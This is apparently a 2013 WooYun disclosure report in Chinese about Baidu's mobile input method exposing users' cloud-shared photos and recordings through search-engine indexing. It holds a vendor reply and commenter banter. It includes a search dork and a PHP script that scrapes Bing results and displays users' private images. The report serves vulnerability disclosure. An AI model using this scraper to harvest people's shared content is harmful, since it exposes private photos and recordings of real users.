当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024145

漏洞标题：百度手机输入法部分个人敏感信息（照片、录音等）泄露

相关厂商：百度

漏洞作者： 镇长

提交时间：2013-05-20 15:28

修复时间：2013-07-04 15:29

公开时间：2013-07-04 15:29

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：9

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-20： 细节已通知厂商并且等待厂商处理中
2013-05-20： 厂商已经确认，细节仅向厂商公开
2013-05-30： 细节向核心白帽子及相关领域专家公开
2013-06-09： 细节向普通白帽子公开
2013-06-19： 细节向实习白帽子公开
2013-07-04： 细节向公众公开

简要描述：

新版百度手机输入法增加贴心功能导致用户信息泄露

详细说明：

百度手机输入法最新版增加了工具条，为了用户方便可以发送图片、二维码、录音存储在云端，由于不严谨造成信息被搜索引擎抓取。造成了大量的用户内容被泄露，其中有不少个人重要信息。
因为这个东西不需要任何技术，危害程度是普通网民就可以发生的。
所以危害等级自己认为至少中。

漏洞证明：

Google或者bing：
输入关键词：site:ci.baidu.com
[bing=80,000 条结果],[Google=约 约 308 条结果 ]
提供一个方便查看的方式。

<?php
error_reporting(0);
set_time_limit(0);
$url = 'http://cn.bing.com/search?q=site%3Aci.baidu.com&go=&qs=n&form=QBRE&pq=site%3Aci.baidu.com&sc=0-0&sp=-1&sk=&first={num}';
$i = ($_GET['i']-1)*10;
$api = file_get_contents(str_replace('{num}',$i,$url));
preg_match_all('/<a href=\"http:\/\/ci.baidu.com\/([a-zA-Z0-9]+)?\"/',$api,$a);
foreach($a[1] as $v) {
    $tl='http://ci.baidu.com/'.$v;
    $ttt = file_get_contents($tl);
    preg_match_all('/(<img src="http:\/\/bs.baidu.com\/imemmi\/.*?\/>)/is',$ttt,$aa);
    if($aa[0]){
        echo '<p>';
        echo '<a target="_blank" href="'.$tl.'">';
        echo $aa[0][0];
        echo '</a>';
        echo '</p>';
    }
}
?>


5555.png


23233.png


12333.png

修复方案：

版权声明：转载请注明来源 镇长@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2013-05-20 16:05

厂商回复：

感谢反馈，这是一个已知问题，我们也已经采取了一些措施来处理这个问题，后续我们还将彻底解决这个问题，可能时间会稍微长一些，灰常感谢你的反馈，后续有最新进展我们也会实时同步。

最新状态：

暂无

漏洞评价：

评论

  1. 2013-05-20 15:30 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    感觉要火啊

  2. 2013-05-20 15:42 | 镇长 ( 路人 | Rank:17 漏洞数:2 | 乌云小镇，镇长！)

    @疯狗 你们玩吧，我去下地除草了。

  3. 2013-05-20 16:06 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    @百度 能说下这个问题的成因木

  4. 2013-05-20 16:36 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @xsser 这个部分链接是用户分享在论坛或者spider抓取浏览器的访问记录导致的，google那个是之前没有上robots之前抓取的，后来上robots了，这些都是之前抓取的，这块也会尽快联系google和bing处理！另外这一块也有给用户相应的安全提示。

  5. 2013-05-20 16:56 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @goderci 目测此人是百度的

  6. 2013-05-21 02:04 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    我们中出了一个百度的

  7. 2013-06-06 14:13 | 银冥币 ( 实习白帽子 | Rank:35 漏洞数:19 | "/upload/avatar/avatar_251_b.jpg" />)

    围观大牛

  8. 2013-06-08 09:30 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    看到百度牛

  9. 2013-07-04 17:27 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    和之前搜狗的同出一辙吧。。